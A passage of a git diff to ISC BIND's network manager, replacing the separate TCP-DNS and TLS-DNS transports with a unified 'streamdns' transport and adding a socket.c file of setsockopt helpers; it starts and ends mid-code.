+	va_end(ap);
 
-	worker = &netmgr->workers[isc_nm_tid()];
+	isc__nmsocket_log(handle->sock, level, "handle %p: %s", handle, msgbuf);
+}
 
-	work = isc_mem_get(netmgr->mctx, sizeof(*work));
-	*work = (isc__nm_work_t){
-		.cb = work_cb,
-		.after_cb = after_work_cb,
-		.data = data,
+void
+isc__nmhandle_set_manual_timer(isc_nmhandle_t *handle, const bool manual) {
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	isc_nmsocket_t *sock = handle->sock;
+
+	switch (sock->type) {
+	case isc_nm_tcpsocket:
+		isc__nmhandle_tcp_set_manual_timer(handle, manual);
+		return;
+	case isc_nm_tlssocket:
+		isc__nmhandle_tls_set_manual_timer(handle, manual);
+		return;
+	default:
+		break;
 	};
 
-	isc_nm_attach(netmgr, &work->netmgr);
+	UNREACHABLE();
+}
 
-	uv_req_set_data((uv_req_t *)&work->req, work);
+void
+isc__nmhandle_get_selected_alpn(isc_nmhandle_t *handle,
+				const unsigned char **alpn,
+				unsigned int *alpnlen) {
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+
+	isc_nmsocket_t *sock = handle->sock;
+
+	switch (sock->type) {
+	case isc_nm_tlssocket:
+		isc__nmhandle_tls_get_selected_alpn(handle, alpn, alpnlen);
+		return;
+	default:
+		break;
+	};
+}
+
+isc_result_t
+isc_nmhandle_set_tcp_nodelay(isc_nmhandle_t *handle, const bool value) {
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
 
-	r = uv_queue_work(&worker->loop, &work->req, isc__nm_work_cb,
-			  isc__nm_after_work_cb);
-	RUNTIME_CHECK(r == 0);
+	isc_result_t result = ISC_R_FAILURE;
+	isc_nmsocket_t *sock = handle->sock;
+
+	switch (sock->type) {
+	case isc_nm_tcpsocket: {
+		uv_os_fd_t tcp_fd = (uv_os_fd_t)-1;
+		(void)uv_fileno((uv_handle_t *)&sock->uv_handle.tcp, &tcp_fd);
+		RUNTIME_CHECK(tcp_fd != (uv_os_fd_t)-1);
+		result = isc__nm_socket_tcp_nodelay((uv_os_sock_t)tcp_fd,
+						    value);
+	} break;
+	case isc_nm_tlssocket:
+		result = isc__nmhandle_tls_set_tcp_nodelay(handle, value);
+		break;
+	default:
+		UNREACHABLE();
+		break;
+	};
+
+	return (result);
 }
 
-#ifdef NETMGR_TRACE
+isc_sockaddr_t
+isc_nmsocket_getaddr(isc_nmsocket_t *sock) {
+	REQUIRE(VALID_NMSOCK(sock));
+	return (sock->iface);
+}
+
+#if ISC_NETMGR_TRACE
 /*
  * Dump all active sockets in netmgr. We output to stderr
  * as the logger might be already shut down.
@@ -3271,25 +2459,20 @@ nmsocket_type_totext(isc_nmsocket_type type) {
 		return ("isc_nm_tcpsocket");
 	case isc_nm_tcplistener:
 		return ("isc_nm_tcplistener");
-	case isc_nm_tcpdnslistener:
-		return ("isc_nm_tcpdnslistener");
-	case isc_nm_tcpdnssocket:
-		return ("isc_nm_tcpdnssocket");
 	case isc_nm_tlssocket:
 		return ("isc_nm_tlssocket");
 	case isc_nm_tlslistener:
 		return ("isc_nm_tlslistener");
-	case isc_nm_tlsdnslistener:
-		return ("isc_nm_tlsdnslistener");
-	case isc_nm_tlsdnssocket:
-		return ("isc_nm_tlsdnssocket");
 	case isc_nm_httplistener:
 		return ("isc_nm_httplistener");
 	case isc_nm_httpsocket:
 		return ("isc_nm_httpsocket");
+	case isc_nm_streamdnslistener:
+		return ("isc_nm_streamdnslistener");
+	case isc_nm_streamdnssocket:
+		return ("isc_nm_streamdnssocket");
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 }
 
@@ -3307,21 +2490,19 @@ static void
 nmsocket_dump(isc_nmsocket_t *sock) {
 	isc_nmhandle_t *handle = NULL;
 
-	LOCK(&sock->lock);
 	fprintf(stderr, "\n=================\n");
 	fprintf(stderr, "Active %s socket %p, type %s, refs %" PRIuFAST32 "\n",
-		atomic_load(&sock->client) ? "client" : "server", sock,
+		sock->client ? "client" : "server", sock,
 		nmsocket_type_totext(sock->type),
 		isc_refcount_current(&sock->references));
 	fprintf(stderr,
 		"Parent %p, listener %p, server %p, statichandle = "
 		"%p\n",
 		sock->parent, sock->listener, sock->server, sock->statichandle);
-	fprintf(stderr, "Flags:%s%s%s%s%s\n",
-		atomic_load(&sock->active) ? " active" : "",
-		atomic_load(&sock->closing) ? " closing" : "",
-		atomic_load(&sock->destroying) ? " destroying" : "",
-		atomic_load(&sock->connecting) ? " connecting" : "",
+	fprintf(stderr, "Flags:%s%s%s%s%s\n", sock->active ? " active" : "",
+		sock->closing ? " closing" : "",
+		sock->destroying ? " destroying" : "",
+		sock->connecting ? " connecting" : "",
 		sock->accepting ? " accepting" : "");
 	fprintf(stderr, "Created by:\n");
 	isc_backtrace_symbols_fd(sock->backtrace, sock->backtrace_size,
@@ -3340,26 +2521,21 @@ nmsocket_dump(isc_nmsocket_t *sock) {
 	}
 
 	fprintf(stderr, "\n");
-	UNLOCK(&sock->lock);
 }
 
 void
-isc__nm_dump_active(isc_nm_t *nm) {
+isc__nm_dump_active(isc__networker_t *worker) {
 	isc_nmsocket_t *sock = NULL;
+	bool first = true;
 
-	REQUIRE(VALID_NM(nm));
-
-	LOCK(&nm->lock);
-	for (sock = ISC_LIST_HEAD(nm->active_sockets); sock != NULL;
+	for (sock = ISC_LIST_HEAD(worker->active_sockets); sock != NULL;
 	     sock = ISC_LIST_NEXT(sock, active_link))
 	{
-		static bool first = true;
 		if (first) {
 			fprintf(stderr, "Outstanding sockets\n");
 			first = false;
 		}
 		nmsocket_dump(sock);
 	}
-	UNLOCK(&nm->lock);
 }
 #endif
diff --git a/lib/isc/netmgr/socket.c b/lib/isc/netmgr/socket.c
new file mode 100644
index 0000000000..2b1e0e652e
--- /dev/null
+++ b/lib/isc/netmgr/socket.c
@@ -0,0 +1,385 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <isc/errno.h>
+#include <isc/uv.h>
+
+#include "netmgr-int.h"
+
+#define setsockopt_on(socket, level, name) \
+	setsockopt(socket, level, name, &(int){ 1 }, sizeof(int))
+
+#define setsockopt_off(socket, level, name) \
+	setsockopt(socket, level, name, &(int){ 0 }, sizeof(int))
+
+static isc_result_t
+socket_freebind(uv_os_sock_t fd, sa_family_t sa_family) {
+	/*
+	 * Set the IP_FREEBIND (or equivalent option) on the uv_handle.
+	 */
+#ifdef IP_FREEBIND
+	UNUSED(sa_family);
+	if (setsockopt_on(fd, IPPROTO_IP, IP_FREEBIND) == -1) {
+		return (ISC_R_FAILURE);
+	}
+	return (ISC_R_SUCCESS);
+#elif defined(IP_BINDANY) || defined(IPV6_BINDANY)
+	if (sa_family == AF_INET) {
+#if defined(IP_BINDANY)
+		if (setsockopt_on(fd, IPPROTO_IP, IP_BINDANY) == -1) {
+			return (ISC_R_FAILURE);
+		}
+		return (ISC_R_SUCCESS);
+#endif
+	} else if (sa_family == AF_INET6) {
+#if defined(IPV6_BINDANY)
+		if (setsockopt_on(fd, IPPROTO_IPV6, IPV6_BINDANY) == -1) {
+			return (ISC_R_FAILURE);
+		}
+		return (ISC_R_SUCCESS);
+#endif
+	}
+	return (ISC_R_NOTIMPLEMENTED);
+#elif defined(SO_BINDANY)
+	UNUSED(sa_family);
+	if (setsockopt_on(fd, SOL_SOCKET, SO_BINDANY) == -1) {
+		return (ISC_R_FAILURE);
+	}
+	return (ISC_R_SUCCESS);
+#else
+	UNUSED(fd);
+	UNUSED(sa_family);
+	return (ISC_R_NOTIMPLEMENTED);
+#endif
+}
+
+int
+isc__nm_udp_freebind(uv_udp_t *handle, const struct sockaddr *addr,
+		     unsigned int flags) {
+	int r;
+	uv_os_sock_t fd = -1;
+
+	r = uv_fileno((const uv_handle_t *)handle, (uv_os_fd_t *)&fd);
+	if (r < 0) {
+		return (r);
+	}
+
+	r = uv_udp_bind(handle, addr, flags);
+	if (r == UV_EADDRNOTAVAIL &&
+	    socket_freebind(fd, addr->sa_family) == ISC_R_SUCCESS)
+	{
+		/*
+		 * Retry binding with IP_FREEBIND (or equivalent option) if the
+		 * address is not available. This helps with IPv6 tentative
+		 * addresses which are reported by the route socket, although
+		 * named is not yet able to properly bind to them.
+		 */
+		r = uv_udp_bind(handle, addr, flags);
+	}
+
+	return (r);
+}
+
+static int
+tcp_bind_now(uv_tcp_t *handle, const struct sockaddr *addr,
+	     unsigned int flags) {
+	int r;
+	struct sockaddr_storage sname;
+	int snamelen = sizeof(sname);
+
+	r = uv_tcp_bind(handle, addr, flags);
+	if (r < 0) {
+		return (r);
+	}
+
+	/*
+	 * uv_tcp_bind() uses a delayed error, initially returning
+	 * success even if bind() fails. By calling uv_tcp_getsockname()
+	 * here we can find out whether the bind() call was successful.
+	 */
+	r = uv_tcp_getsockname(handle, (struct sockaddr *)&sname, &snamelen);
+	if (r < 0) {
+		return (r);
+	}
+
+	return (0);
+}
+
+int
+isc__nm_tcp_freebind(uv_tcp_t *handle, const struct sockaddr *addr,
+		     unsigned int flags) {
+	int r;
+	uv_os_sock_t fd = -1;
+
+	r = uv_fileno((const uv_handle_t *)handle, (uv_os_fd_t *)&fd);
+	if (r < 0) {
+		return (r);
+	}
+
+	r = tcp_bind_now(handle, addr, flags);
+	if (r == UV_EADDRNOTAVAIL &&
+	    socket_freebind(fd, addr->sa_family) == ISC_R_SUCCESS)
+	{
+		/*
+		 * Retry binding with IP_FREEBIND (or equivalent option) if the
+		 * address is not available. This helps with IPv6 tentative
+		 * addresses which are reported by the route socket, although
+		 * named is not yet able to properly bind to them.
+		 */
+		r = tcp_bind_now(handle, addr, flags);
+	}
+
+	return (r);
+}
+
+isc_result_t
+isc__nm_socket(int domain, int type, int protocol, uv_os_sock_t *sockp) {
+	int sock = socket(domain, type, protocol);
+	if (sock < 0) {
+		return (isc_errno_toresult(errno));
+	}
+
+	*sockp = (uv_os_sock_t)sock;
+	return (ISC_R_SUCCESS);
+}
+
+void
+isc__nm_closesocket(uv_os_sock_t sock) {
+	close(sock);
+}
+
+isc_result_t
+isc__nm_socket_reuse(uv_os_sock_t fd) {
+	/*
+	 * Generally, the SO_REUSEADDR socket option allows reuse of
+	 * local addresses.
+	 *
+	 * On the BSDs, SO_REUSEPORT implies SO_REUSEADDR but with some
+	 * additional refinements for programs that use multicast.
+	 *
+	 * On Linux, SO_REUSEPORT has different semantics: it _shares_ the port
+	 * rather than steal it from the current listener, so we don't use it
+	 * here, but rather in isc__nm_socket_reuse_lb().
+	 */
+
+#if defined(SO_REUSEPORT) && !defined(__linux__)
+	if (setsockopt_on(fd, SOL_SOCKET, SO_REUSEPORT) == -1) {
+		return (ISC_R_FAILURE);
+	}
+	return (ISC_R_SUCCESS);
+#elif defined(SO_REUSEADDR)
+	if (setsockopt_on(fd, SOL_SOCKET, SO_REUSEADDR) == -1) {
+		return (ISC_R_FAILURE);
+	}
+	return (ISC_R_SUCCESS);
+#else
+	UNUSED(fd);
+	return (ISC_R_NOTIMPLEMENTED);
+#endif
+}
+
+isc_result_t
+isc__nm_socket_reuse_lb(uv_os_sock_t fd) {
+	/*
+	 * On FreeBSD 12+, SO_REUSEPORT_LB socket option allows sockets to be
+	 * bound to an identical socket address. For UDP sockets, the use of
+	 * this option can provide better distribution of incoming datagrams to
+	 * multiple processes (or threads) as compared to the traditional
+	 * technique of having multiple processes compete to receive datagrams
+	 * on the same socket.
+	 *
+	 * On Linux, the same thing is achieved simply with SO_REUSEPORT.
+	 */
+#if defined(SO_REUSEPORT_LB)
+	if (setsockopt_on(fd, SOL_SOCKET, SO_REUSEPORT_LB) == -1) {
+		return (ISC_R_FAILURE);
+	} else {
+		return (ISC_R_SUCCESS);
+	}
+#elif defined(SO_REUSEPORT) && defined(__linux__)
+	if (setsockopt_on(fd, SOL_SOCKET, SO_REUSEPORT) == -1) {
+		return (ISC_R_FAILURE);
+	} else {
+		return (ISC_R_SUCCESS);
+	}
+#else
+	UNUSED(fd);
+	return (ISC_R_NOTIMPLEMENTED);
+#endif
+}
+
+isc_result_t
+isc__nm_socket_incoming_cpu(uv_os_sock_t fd) {
+#ifdef SO_INCOMING_CPU
+	if (setsockopt_on(fd, SOL_SOCKET, SO_INCOMING_CPU) == -1) {
+		return (ISC_R_FAILURE);
+	} else {
+		return (ISC_R_SUCCESS);
+	}
+#else
+	UNUSED(fd);
+#endif
+	return (ISC_R_NOTIMPLEMENTED);
+}
+
+isc_result_t
+isc__nm_socket_disable_pmtud(uv_os_sock_t fd, sa_family_t sa_family) {
+	/*
+	 * Disable the Path MTU Discovery on IP packets
+	 */
+	if (sa_family == AF_INET6) {
+#if defined(IPV6_DONTFRAG)
+		if (setsockopt_off(fd, IPPROTO_IPV6, IPV6_DONTFRAG) == -1) {
+			return (ISC_R_FAILURE);
+		} else {
+			return (ISC_R_SUCCESS);
+		}
+#elif defined(IPV6_MTU_DISCOVER) && defined(IP_PMTUDISC_OMIT)
+		if (setsockopt(fd, IPPROTO_IPV6, IPV6_MTU_DISCOVER,
+			       &(int){ IP_PMTUDISC_OMIT }, sizeof(int)) == -1)
+		{
+			return (ISC_R_FAILURE);
+		} else {
+			return (ISC_R_SUCCESS);
+		}
+#else
+		UNUSED(fd);
+#endif
+	} else if (sa_family == AF_INET) {
+#if defined(IP_DONTFRAG)
+		if (setsockopt_off(fd, IPPROTO_IP, IP_DONTFRAG) == -1) {
+			return (ISC_R_FAILURE);
+		} else {
+			return (ISC_R_SUCCESS);
+		}
+#elif defined(IP_MTU_DISCOVER) && defined(IP_PMTUDISC_OMIT)
+		if (setsockopt(fd, IPPROTO_IP, IP_MTU_DISCOVER,
+			       &(int){ IP_PMTUDISC_OMIT }, sizeof(int)) == -1)
+		{
+			return (ISC_R_FAILURE);
+		} else {
+			return (ISC_R_SUCCESS);
+		}
+#else
+		UNUSED(fd);
+#endif
+	} else {
+		return (ISC_R_FAMILYNOSUPPORT);
+	}
+
+	return (ISC_R_NOTIMPLEMENTED);
+}
+
+isc_result_t
+isc__nm_socket_v6only(uv_os_sock_t fd, sa_family_t sa_family) {
+	/*
+	 * Enable the IPv6-only option on IPv6 sockets
+	 */
+	if (sa_family == AF_INET6) {
+#if defined(IPV6_V6ONLY)
+		if (setsockopt_on(fd, IPPROTO_IPV6, IPV6_V6ONLY) == -1) {
+			return (ISC_R_FAILURE);
+		} else {
+			return (ISC_R_SUCCESS);
+		}
+#else
+		UNUSED(fd);
+#endif
+	}
+	return (ISC_R_NOTIMPLEMENTED);
+}
+
+isc_result_t
+isc__nm_socket_connectiontimeout(uv_os_sock_t fd, int timeout_ms) {
+#if defined(TIMEOUT_OPTNAME)
+	TIMEOUT_TYPE timeout = timeout_ms / TIMEOUT_DIV;
+
+	if (timeout == 0) {
+		timeout = 1;
+	}
+
+	if (setsockopt(fd, IPPROTO_TCP, TIMEOUT_OPTNAME, &timeout,
+		       sizeof(timeout)) == -1)
+	{
+		return (ISC_R_FAILURE);
+	}
+
+	return (ISC_R_SUCCESS);
+#else
+	UNUSED(fd);
+	UNUSED(timeout_ms);
+
+	return (ISC_R_SUCCESS);
+#endif
+}
+
+isc_result_t
+isc__nm_socket_tcp_nodelay(uv_os_sock_t fd, bool value) {
+#ifdef TCP_NODELAY
+	int ret;
+
+	if (value) {
+		ret = setsockopt_on(fd, IPPROTO_TCP, TCP_NODELAY);
+	} else {
+		ret = setsockopt_off(fd, IPPROTO_TCP, TCP_NODELAY);
+	}
+
+	if (ret == -1) {
+		return (ISC_R_FAILURE);
+	} else {
+		return (ISC_R_SUCCESS);
+	}
+#else
+	UNUSED(fd);
+	return (ISC_R_SUCCESS);
+#endif
+}
+
+isc_result_t
+isc__nm_socket_tcp_maxseg(uv_os_sock_t fd, int size) {
+#ifdef TCP_MAXSEG
+	if (setsockopt(fd, IPPROTO_TCP, TCP_MAXSEG, (void *)&size,
+		       sizeof(size)))
+	{
+		return (ISC_R_FAILURE);
+	} else {
+		return (ISC_R_SUCCESS);
+	}
+#else
+	UNUSED(fd);
+	UNUSED(size);
+	return (ISC_R_SUCCESS);
+#endif
+}
+
+isc_result_t
+isc__nm_socket_min_mtu(uv_os_sock_t fd, sa_family_t sa_family) {
+	if (sa_family != AF_INET6) {
+		return (ISC_R_SUCCESS);
+	}
+#ifdef IPV6_USE_MIN_MTU
+	if (setsockopt_on(fd, IPPROTO_IPV6, IPV6_USE_MIN_MTU) == -1) {
+		return (ISC_R_FAILURE);
+	}
+#elif defined(IPV6_MTU)
+	if (setsockopt(fd, IPPROTO_IPV6, IPV6_MTU, &(int){ 1280 },
+		       sizeof(int)) == -1)
+	{
+		return (ISC_R_FAILURE);
+	}
+#else
+	UNUSED(fd);
+#endif
+
+	return (ISC_R_SUCCESS);
+}
diff --git a/lib/isc/netmgr/streamdns.c b/lib/isc/netmgr/streamdns.c
new file mode 100644
index 0000000000..af312506c7
--- /dev/null
+++ b/lib/isc/netmgr/streamdns.c
@@ -0,0 +1,1105 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <limits.h>
+#include <unistd.h>
+
+#include <isc/async.h>
+#include <isc/atomic.h>
+#include <isc/result.h>
+#include <isc/thread.h>
+
+#include "netmgr-int.h"
+
+/*
+ * Stream DNS is a unified transport capable of serving both DNS over
+ * TCP and DNS over TLS.  It is built on top of
+ * 'isc_dnsstream_assembler_t' which is used for assembling DNS
+ * messages in the format used for DNS over TCP out of incoming data.
+ * It is built on top of 'isc_buffer_t' optimised for small (>= 512
+ * bytes) DNS messages. For small messages it uses a small static
+ * memory buffer, but it can automatically switch to a larger
+ * dynamically allocated memory buffer for larger ones. This way we
+ * avoid unnecessary memory allocation requests in most cases, as most
+ * DNS messages are small.
+ *
+ * The use of 'isc_dnsstream_assembler_t' allows decoupling DNS
+ * message assembling code from networking code itself, making it
+ * easier to test.
+ *
+ * To understand how the part responsible for reading of data works,
+ * start by looking at 'streamdns_on_dnsmessage_data_cb()' (the DNS
+ * message data processing callback) and
+ * 'streamdns_handle_incoming_data()' which passes incoming data to
+ * the 'isc_dnsstream_assembler_t' object within the socket.
+ *
+ * The writing is done in a simpler manner due to the fact that we
+ * have full control over the data. For each write request we attempt
+ * to allocate a 'streamdns_send_req_t' structure, whose main purpose
+ * is to keep the data required for the send request processing.
+ *
+ * When processing write requests there is an important optimisation:
+ * we attempt to reuse 'streamdns_send_req_t' objects again, in order
+ * to avoid memory allocations when requesting memory for the new
+ * 'streamdns_send_req_t' object.
+ *
+ * To understand how sending is done, start by looking at
+ * 'isc__nm_streamdns_send()'. Additionally also take a look at
+ * 'streamdns_get_send_req()' and 'streamdns_put_send_req()' which are
+ * responsible for send requests allocation/reuse and initialisation.
+ *
+ * The rest of the code is mostly wrapping code to expose the
+ * functionality of the underlying transport, which at the moment
+ * could be either TCP or TLS.
+ */
+
+typedef struct streamdns_send_req {
+	isc_nm_cb_t cb;		   /* send callback */
+	void *cbarg;		   /* send callback argument */
+	isc_nmhandle_t *dnshandle; /* Stream DNS socket handle */
+} streamdns_send_req_t;
+
+static streamdns_send_req_t *
+streamdns_get_send_req(isc_nmsocket_t *sock, isc_mem_t *mctx,
+		       isc__nm_uvreq_t *req);
+
+static void
+streamdns_put_send_req(isc_mem_t *mctx, streamdns_send_req_t *send_req,
+		       const bool force_destroy);
+
+static void
+streamdns_readcb(isc_nmhandle_t *handle, isc_result_t result,
+		 isc_region_t *region, void *cbarg);
+
+static void
+streamdns_failed_read_cb(isc_nmsocket_t *sock, const isc_result_t result,
+			 const bool async);
+
+static void
+streamdns_try_close_unused(isc_nmsocket_t *sock);
+
+static bool
+streamdns_closing(isc_nmsocket_t *sock);
+
+static void
+streamdns_resumeread(isc_nmsocket_t *sock, isc_nmhandle_t *transphandle) {
+	if (!sock->streamdns.reading) {
+		sock->streamdns.reading = true;
+		isc_nm_read(transphandle, streamdns_readcb, (void *)sock);
+	}
+}
+
+static void
+streamdns_readmore(isc_nmsocket_t *sock, isc_nmhandle_t *transphandle) {
+	streamdns_resumeread(sock, transphandle);
+
+	/* Restart the timer only if there's a last single active handle */
+	isc_nmhandle_t *handle = ISC_LIST_HEAD(sock->active_handles);
+	INSIST(handle != NULL);
+	if (ISC_LIST_NEXT(handle, active_link) == NULL) {
+		isc__nmsocket_timer_start(sock);
+	}
+}
+
+static void
+streamdns_pauseread(isc_nmsocket_t *sock, isc_nmhandle_t *transphandle) {
+	if (sock->streamdns.reading) {
+		sock->streamdns.reading = false;
+		isc_nm_read_stop(transphandle);
+	}
+}
+
+static bool
+streamdns_on_complete_dnsmessage(isc_dnsstream_assembler_t *dnsasm,
+				 isc_region_t *restrict region,
+				 isc_nmsocket_t *sock,
+				 isc_nmhandle_t *transphandle) {
+	const bool last_datum = isc_dnsstream_assembler_remaininglength(
+					dnsasm) == region->length;
+	/*
+	 * Stop after one message if a client connection.
+	 */
+	bool stop = sock->client;
+
+	sock->reading = false;
+	if (sock->recv_cb != NULL) {
+		if (!sock->client) {
+			/*
+			 * We must allocate a new handle object, as we
+			 * need to ensure that after processing of this
+			 * message has been completed and the handle
+			 * gets destroyed, 'nsock->closehandle_cb'
+			 * (streamdns_resume_processing()) is invoked.
+			 * That is required for pipelining support.
+			 */
+			isc_nmhandle_t *handle = isc__nmhandle_get(
+				sock, &sock->peer, &sock->iface);
+			sock->recv_cb(handle, ISC_R_SUCCESS, region,
+				      sock->recv_cbarg);
+			isc_nmhandle_detach(&handle);
+		} else {
+			/*
+			 * As on the client side we are supposed to stop
+			 * reading/processing after receiving one
+			 * message, we can use the 'sock->recv_handle'
+			 * from which we would need to detach before
+			 * calling the read callback anyway.
+			 */
+			isc_nmhandle_t *recv_handle = sock->recv_handle;
+			sock->recv_handle = NULL;
+			sock->recv_cb(recv_handle, ISC_R_SUCCESS, region,
+				      sock->recv_cbarg);
+			isc_nmhandle_detach(&recv_handle);
+		}
+
+		if (streamdns_closing(sock)) {
+			stop = true;
+		}
+	} else {
+		stop = true;
+	}
+
+	isc__nmsocket_timer_stop(sock);
+	if (!stop && last_datum) {
+		/*
+		 * We have processed all data, need to read more.
+		 * The call also restarts the timer.
+		 */
+		streamdns_readmore(sock, transphandle);
+	} else if (stop) {
+		streamdns_pauseread(sock, transphandle);
+	}
+
+	return (!stop);
+}
+
+/*
+ * This function, alongside 'streamdns_handle_incoming_data()',
+ * connects networking code to the 'isc_dnsstream_assembler_t'. It is
+ * responsible for making decisions regarding reading from the
+ * underlying transport socket as well as controlling the read timer.
+ */
+static bool
+streamdns_on_dnsmessage_data_cb(isc_dnsstream_assembler_t *dnsasm,
+				const isc_result_t result,
+				isc_region_t *restrict region, void *cbarg,
+				void *userarg) {
+	isc_nmsocket_t *sock = (isc_nmsocket_t *)cbarg;
+	isc_nmhandle_t *transphandle = (isc_nmhandle_t *)userarg;
+
+	switch (result) {
+	case ISC_R_SUCCESS:
+		/*
+		 * A complete DNS message has been assembled from the incoming
+		 * data. Let's process it.
+		 */
+		return (streamdns_on_complete_dnsmessage(dnsasm, region, sock,
+							 transphandle));
+	case ISC_R_RANGE:
+		/*
+		 * It seems that someone attempts to send us some binary junk
+		 * over the socket, as the beginning of the next message tells
+		 * us the there is an empty (0-sized) DNS message to receive.
+		 * We should treat it as a hard error.
+		 */
+		streamdns_failed_read_cb(sock, result, false);
+		return (false);
+	case ISC_R_NOMORE:
+		/*
+		 * We do not have enough data to process the next message and
+		 * thus we need to resume reading from the socket.
+		 */
+		if (sock->recv_handle != NULL) {
+			streamdns_readmore(sock, transphandle);
+		}
+		return (false);
+	default:
+		UNREACHABLE();
+	};
+}
+
+static void
+streamdns_handle_incoming_data(isc_nmsocket_t *sock,
+			       isc_nmhandle_t *transphandle,
+			       void *restrict data, size_t len) {
+	isc_dnsstream_assembler_t *dnsasm = sock->streamdns.input;
+
+	/*
+	 * Try to process the received data or, when 'data == NULL' and
+	 * 'len == 0', try to resume processing of the data within the
+	 * internal buffers or resume reading, if there is no any.
+	 */
+	isc_dnsstream_assembler_incoming(dnsasm, transphandle, data, len);
+	streamdns_try_close_unused(sock);
+}
+
+static isc_nmsocket_t *
+streamdns_sock_new(isc__networker_t *worker, const isc_nmsocket_type_t type,
+		   isc_sockaddr_t *addr, const bool is_server) {
+	isc_nmsocket_t *sock;
+	INSIST(type == isc_nm_streamdnssocket ||
+	       type == isc_nm_streamdnslistener);
+
+	sock = isc_mem_get(worker->mctx, sizeof(*sock));
+	isc__nmsocket_init(sock, worker, type, addr, NULL);
+	sock->result = ISC_R_UNSET;
+	if (type == isc_nm_streamdnssocket) {
+		uint32_t initial = 0;
+		isc_nm_gettimeouts(worker->netmgr, &initial, NULL, NULL, NULL);
+		sock->read_timeout = initial;
+		sock->client = !is_server;
+		sock->connecting = !is_server;
+		sock->streamdns.input = isc_dnsstream_assembler_new(
+			sock->worker->mctx, streamdns_on_dnsmessage_data_cb,
+			sock);
+	}
+
+	return (sock);
+}
+
+static void
+streamdns_call_connect_cb(isc_nmsocket_t *sock, isc_nmhandle_t *handle,
+			  const isc_result_t result) {
+	sock->connecting = false;
+	INSIST(sock->connect_cb != NULL);
+	sock->connect_cb(handle, result, sock->connect_cbarg);
+	if (result != ISC_R_SUCCESS) {
+		isc__nmsocket_clearcb(handle->sock);
+	} else {
+		sock->connected = true;
+	}
+	streamdns_try_close_unused(sock);
+}
+
+static void
+streamdns_save_alpn_status(isc_nmsocket_t *dnssock,
+			   isc_nmhandle_t *transp_handle) {
+	const unsigned char *alpn = NULL;
+	unsigned int alpnlen = 0;
+
+	isc__nmhandle_get_selected_alpn(transp_handle, &alpn, &alpnlen);
+	if (alpn != NULL && alpnlen == ISC_TLS_DOT_PROTO_ALPN_ID_LEN &&
+	    memcmp(ISC_TLS_DOT_PROTO_ALPN_ID, alpn,
+		   ISC_TLS_DOT_PROTO_ALPN_ID_LEN) == 0)
+	{
+		dnssock->streamdns.dot_alpn_negotiated = true;
+	}
+}
+
+static void
+streamdns_transport_connected(isc_nmhandle_t *handle, isc_result_t result,
+			      void *cbarg) {
+	isc_nmsocket_t *sock = (isc_nmsocket_t *)cbarg;
+	isc_nmhandle_t *streamhandle = NULL;
+
+	REQUIRE(VALID_NMSOCK(sock));
+
+	sock->tid = isc_tid();
+	if (result == ISC_R_EOF) {
+		/*
+		 * The transport layer (probably TLS) has returned EOF during
+		 * connection establishment. That means that connection has
+		 * been "cancelled" (for compatibility with old transport
+		 * behaviour).
+		 */
+		result = ISC_R_CANCELED;
+		goto error;
+	} else if (result == ISC_R_TLSERROR) {
+		/*
+		 * In some of the cases when the old code would return
+		 * ISC_R_CANCELLED, the new code could return generic
+		 * ISC_R_TLSERROR code. However, the old code does not expect
+		 * that.
+		 */
+		result = ISC_R_CANCELED;
+		goto error;
+	} else if (result != ISC_R_SUCCESS) {
+		goto error;
+	}
+
+	INSIST(VALID_NMHANDLE(handle));
+
+	sock->iface = isc_nmhandle_localaddr(handle);
+	sock->peer = isc_nmhandle_peeraddr(handle);
+	if (isc__nmsocket_closing(handle->sock)) {
+		result = ISC_R_SHUTTINGDOWN;
+		goto error;
+	}
+
+	isc_nmhandle_attach(handle, &sock->outerhandle);
+	sock->active = true;
+
+	handle->sock->streamdns.sock = sock;
+
+	streamdns_save_alpn_status(sock, handle);
+	isc__nmhandle_set_manual_timer(sock->outerhandle, true);
+	streamhandle = isc__nmhandle_get(sock, &sock->peer, &sock->iface);
+	(void)isc_nmhandle_set_tcp_nodelay(sock->outerhandle, true);
+	streamdns_call_connect_cb(sock, streamhandle, result);
+	isc_nmhandle_detach(&streamhandle);
+
+	return;
+error:
+	if (handle != NULL) {
+		/*
+		 * Let's save the error description (if any) so that
+		 * e.g. 'dig' could produce a usable error message.
+		 */
+		INSIST(VALID_NMHANDLE(handle));
+		sock->streamdns.tls_verify_error =
+			isc_nm_verify_tls_peer_result_string(handle);
+	}
+	streamhandle = isc__nmhandle_get(sock, NULL, NULL);
+	sock->closed = true;
+	streamdns_call_connect_cb(sock, streamhandle, result);
+	isc_nmhandle_detach(&streamhandle);
+	isc__nmsocket_detach(&sock);
+}
+
+void
+isc_nm_streamdnsconnect(isc_nm_t *mgr, isc_sockaddr_t *local,
+			isc_sockaddr_t *peer, isc_nm_cb_t cb, void *cbarg,
+			unsigned int timeout, isc_tlsctx_t *ctx,
+			isc_tlsctx_client_session_cache_t *client_sess_cache) {
+	isc_nmsocket_t *nsock = NULL;
+	isc__networker_t *worker = &mgr->workers[isc_tid()];
+
+	REQUIRE(VALID_NM(mgr));
+
+	if (isc__nm_closing(worker)) {
+		cb(NULL, ISC_R_SHUTTINGDOWN, cbarg);
+		return;
+	}
+
+	nsock = streamdns_sock_new(worker, isc_nm_streamdnssocket, local,
+				   false);
+	nsock->connect_cb = cb;
+	nsock->connect_cbarg = cbarg;
+	nsock->connect_timeout = timeout;
+
+	if (ctx == NULL) {
+		INSIST(client_sess_cache == NULL);
+		isc_nm_tcpconnect(mgr, local, peer,
